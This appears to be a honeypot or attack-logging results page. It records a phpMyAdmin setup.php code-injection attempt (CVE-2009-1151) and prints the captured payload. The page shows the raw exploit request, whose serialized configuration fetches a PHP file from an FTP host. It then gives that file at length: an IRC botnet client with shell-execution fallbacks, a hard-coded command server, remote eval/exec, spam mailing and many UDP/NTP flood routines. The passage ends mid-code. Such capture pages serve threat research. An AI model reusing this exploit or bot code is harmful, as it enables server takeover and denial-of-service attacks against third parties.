Help on available search operators
Operators
tag: filter by relevant keywords (e.g., shellshock)
port: filter by destination port
attacker: filter by attacker IP address
country: filter by attacker country (2 letters)
since: filter since provided date (dd/mm/yyyy format)
plugin: filter by plugin ID
resource: filter requests with a resource with the given MD5
Hints
The minus operator - can be used to exclude the results containing a given keyword.
You can combine different operators, or provide multiple values for each one using comma as separator.
e.g., port:80,8080
e.g., port:80 -scripts/setup.php
e.g., upload?org.apache.catalina.filters port:8080
1-10 of 6753 results (676 pages)
phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit
[Attack info]
Attacker:
80.82.70.178
Dest. port: 80
Time: 10/09/2020 22:36:06
Resource(s): [details]
Request: permalink
[Extra info]
ASN/ISP: AS202425 IP Volume inc
Location: Anse-aux-Pins, Anse aux Pins
rDNS: no-reverse-dns-configured.com
Description
phpMyAdmin is prone to a remote PHP code-injection vulnerability on the page "setup.php". An attacker can exploit this issue to inject and execute arbitrary malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. Versions prior to phpMyAdmin 2.11.9.5 and 3.1.3.1 are vulnerable.CVE
CVE-2009-1151Author
Adrian "pagvac" PastorPlugin ID
oosheefee1baixeinief5nociu5shohhPOST /phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php HTTP/1.1
Content-Length: 244
cookie2: $Version="1"
Host: 176.94.18.109
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
connection: TE
referer: http://176.94.18.109/phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php
cookie: phpMyAdmin=beda7396e33941a68dea6a935c39b6f8
te: deflate,gzip;q=0.3
Content-Type: application/x-www-form-urlencoded
action=lay_navigation&eoltype=unix&token=00f3af40a54f15c236e1c8128c0517d6&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A35%3A%22ftp%3A%2F%2F109%2E201%2E143%2E177%2Fpub%2FGodly%2Ephp%22%3B%7D%7D
Resource ( 1 / 1 )
MD5: c1028b3c2cf9b0f6d8055694191c3447
Type: text/x-php
Size: 54644
URL: ftp://109.201.143.177/pub/Godly.php
<?php
// Php My Admin PMA Bot
set_time_limit(0);
error_reporting(0);
$dir = getcwd();
$uname= @php_uname();
function whereistmP()
{
$uploadtmp=ini_get('upload_tmp_dir');
$uf=getenv('USERPROFILE');
$af=getenv('ALLUSERSPROFILE');
$se=ini_get('session.save_path');
$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
if(is_dir($uf) && is_writable($uf))return $uf;
if(is_dir($af) && is_writable($af))return $af;
if(is_dir($se) && is_writable($se))return $se;
if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
return '.';
}
function srvshelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function ffishelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
$res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function comshelL($command,$ws)
{
$exec=$ws->exec("cmd.exe /c $command");
$so=$exec->StdOut();
return $so->ReadAll();
}
function perlshelL($command)
{
$perl=new perl();
ob_start();
$perl->eval("system(\"$command\")");
$exec=ob_get_contents();
ob_end_clean();
return $exec;
}
function Exe($command)
{
$exec=$output='';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(function_exists('passthru')){ob_start();@passthru_($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;}
elseif(function_exists('shell_exec'))[email protected]_exec($command);
elseif(function_exists('popen')){[email protected]($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
elseif(function_exists('proc_open')){[email protected]_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=winshelL($command);
elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=srvshelL($command);
elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=ffishelL($command);
elseif(extension_loaded('perl'))$exec=perlshelL($command);
return $exec;
}
class sell
{
var $config = array(
"server"=>"51.222.31.151", // Server IP
"port"=>"5467", // Server Connection Port
"password"=>"", // Server Connection password
"prefix"=>"DDoS", // Bot Name
"maxrand"=>"8", // Random Character Length
"chan"=>"#PmaIRC", // Main Channel
"key"=>"", // Main Channel Key
"Windows"=>"#Windows", // Windows Device Channel
"Linux"=>"#Linux", // Linux Device Channel
"trigger"=>"-", // Command Prefix
"maxtime"=>"120", // Max Time
"maxsize"=>"1024" // Max Size
);
var $users = array();
var $adminconfig = array("Erratic",);
function start()
{
while(true)
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start();
$pass = $this->config['password'];
$alph = range("0","9");
$this->send("PASS ".$pass."");
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $ident = "Windows";
else $ident = "Linux";
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}
}
function main()
{
while(!feof($this->conn))
{
if(function_exists('stream_select'))
{
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0)
{
fwrite($this->conn, "PING :lelcomeatme\r\n");
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0) break;
}
}
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); continue; }
if(strpos($this->buf, '(Too many connections from your IP)')!==false) { fclose($this->conn); exit();}
if(isset($cmd[1]) && $cmd[1] =="001") {
$this->auth($this->config['auth']);
$this->join($this->config['chan'],$this->config['key']);
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->join("".$this->config['Windows']."");
else $this->join("".$this->config['Linux']."");
continue;
}
if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); continue; }
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick) for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1];
else for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i];
if(count($cmd)>2)
{
switch($cmd[1])
{
case "PRIVMSG":
if(substr($mcmd[0],0,1)=="".$this->config['trigger']."")
{
switch(substr($mcmd[0],1))
{
case "mail":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2Mail\2]: Failed Sending.");
}
else
{
$this->privmsg($this->config['chan'],"[\2Mail\2]: Sent.");
}
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "maxtime":
$this->notice($nick, "0[\20The Max Time is9 ".$this->config['maxtime']."sec0!\2]");
break;
case "uname":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->notice($this->config['chan'],"9[\2Info\2]:0 ".$uname." (safe: ".$safemode.")");
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case "eval":
if (!in_array($nick, $this->adminconfig)) {
break;
}
ob_start();
eval(strstr($msg,$mcmd[1]));
$exec=ob_get_contents();
ob_end_clean();
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "exec":
if (!in_array($nick, $this->adminconfig)) {
break;
}
$command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
$exec = exec($command);
$ret = explode("\n", $exec);
for ($i = 0; $i < count($ret); $i++)
if ($ret[$i] != NULL)
$this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
break;
case "Time":
if (!in_array($nick, $this->adminconfig)) {
break;
}
if(count($mcmd)>1){
if ($mcmd[1] == $this->config['maxtime']) {
$this->notice($nick, "0[\20Time is already set to ".$mcmd[1]."!0\2]");
break;
}
$this->config['maxtime'] = $mcmd[1];
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]." <Time>");
}
break;
case "Nick":
if (!in_array($nick, $this->adminconfig)) {
break;
}
if(count($mcmd)>1){
if ($mcmd[1] == $this->config['prefix']) {
$this->notice($nick, "0[\20Nickname is already set to ".$mcmd[1]."!0\2]");
break;
}
$this->config['prefix'] = $mcmd[1];
$this->set_nick();
$this->main();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]." <Nick>");
}
break;
case "ntp":
if ($mcmd[3] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[4] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$packetsize = $mcmd[4];
if(count($mcmd)>4) {
$this->privmsg($this->config['chan'], "[\2NTP Started on Host: ".$host." on Port: ".$port." For ".$time."sec!\2]");
for($i=0;$i<$packetsize;$i++) { $packet .= chr("\x17\x00\x03\x2a\x00\x00\x00\x00"); }
$end = time() + $time;
$fp = fsockopen("udp://".$host,$port,$e,$s,8);
while(true)
{
fwrite($fp,$packet);
fflush($fp);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp);
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[NTP]: requests sent: ".$vel." to ".$host.":".$port.": Fails: ".$f);
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "std":
if(count($mcmd)>4) {
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$size = $mcmd[4];
if($time > $this->config['maxtime'])
{
$this->privmsg($this->config['chan'], "Max boot Time is ".$this->config["maxtime"]);
break;
}
elseif ($size > $this->config['maxsize']) {
$this->privmsg($this->config['chan'], "Max boot Size is ".$this->config["maxsize"]);
break;
}
$i = 0;
$end_time = time() + $time;
$socket = fsockopen("udp://" . $host, $port, $errno, $errstr, 5);
$this->privmsg($this->config['chan'], "STD Flooding ".$host." on ".$port." [".$time." Seconds / ".$size." FD(s)]");
while (true)
{
$packet = "";
$data = substr(str_shuffle("1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 25);
for ($ii = 0; $ii < $size; $ii++)
{
$packet .= $data;
fwrite($socket, $packet);
fflush($socket);
}
if ($i % 100 == 0)
{
if (time() >= $end_time)
{
$this->privmsg($this->config['chan'], "STD Flood On ".$host.":".$port." Finished!");
break;
}
}
$i++;
}
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "gameudp":
if(count($mcmd)>4) {
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$size = $mcmd[4];
if($time > $this->config['maxtime'])
{
$this->privmsg($this->config['chan'], "Max boot Time is ".$this->config["maxtime"]);
break;
}
elseif ($size > $this->config['maxsize']) {
$this->privmsg($this->config['chan'], "Max boot Size is ".$this->config["maxsize"]);
break;
}
$i = 0;
$fds = array();
$end_time = time() + $time;
$this->privmsg($this->config['chan'], "UDP Flooding ".$host." on ".$port." [".$time." Seconds / ".$size." FD(s)]");
while (true)
{
$ii = 0;
$packet = "";
for ($ii = 0; $ii < $size; $ii++)
{
$packet .= chr(rand(1, 256));
$fds[$ii] = @fsockopen("udp://" . $host, $port, $errno, $errstr, 2);
fwrite($fds[$ii], $packet);
fflush($fds[$ii]);
fclose($fds[$ii]);
}
if ($i % 100 == 0)
{
if (time() >= $end_time)
{
$this->privmsg($this->config['chan'], "UDP Flood On ".$host.":".$port." Finished!");
break;
}
}
$i++;
}
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "udpflood":
if ($mcmd[3] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[4] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$packetsize = $mcmd[4];
if(count($mcmd)>4) {
$this->privmsg($this->config['chan'], "9[\2UdpFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on Host:4 ".$host."14 using port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp = fsockopen("udp://".$host,$port,$e,$s,5);
while(true)
{
fwrite($fp,$packet);
fflush($fp);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2UdpFlood\2]0[\211A3t4t5a6c7k on Host:4 ".$host."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "udpfloodtwo":
if ($mcmd[4] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[5] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>5) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$port = $mcmd[3];
$time = $mcmd[4];
$packetsize = $mcmd[5];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <port> <time> <size>");}
break;
case "udpfloodthree":
if ($mcmd[5] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[6] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>6) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$port = $mcmd[4];
$time = $mcmd[5];
$packetsize = $mcmd[6];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <port> <time> <size>");}
break;
case "udpfloodfour":
if ($mcmd[6] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[7] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>7) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$port = $mcmd[5];
$time = $mcmd[6];
$packetsize = $mcmd[7];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <port> <time> <size>");}
break;
case "udpfloodfive":
if ($mcmd[7] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[8] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>8) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$port = $mcmd[6];
$time = $mcmd[7];
$packetsize = $mcmd[8];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <port> <time> <size>");}
break;
case "udpfloodsix":
if ($mcmd[8] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[9] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>9) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$port = $mcmd[7];
$time = $mcmd[8];
$packetsize = $mcmd[9];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <port> <time> <size>");}
break;
case "udpfloodseven":
if ($mcmd[9] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[10] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>10) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$port = $mcmd[8];
$time = $mcmd[9];
$packetsize = $mcmd[10];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <port> <time> <size>");}
break;
case "udpfloodeight":
if ($mcmd[10] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[11] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>11) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$port = $mcmd[9];
$time = $mcmd[10];
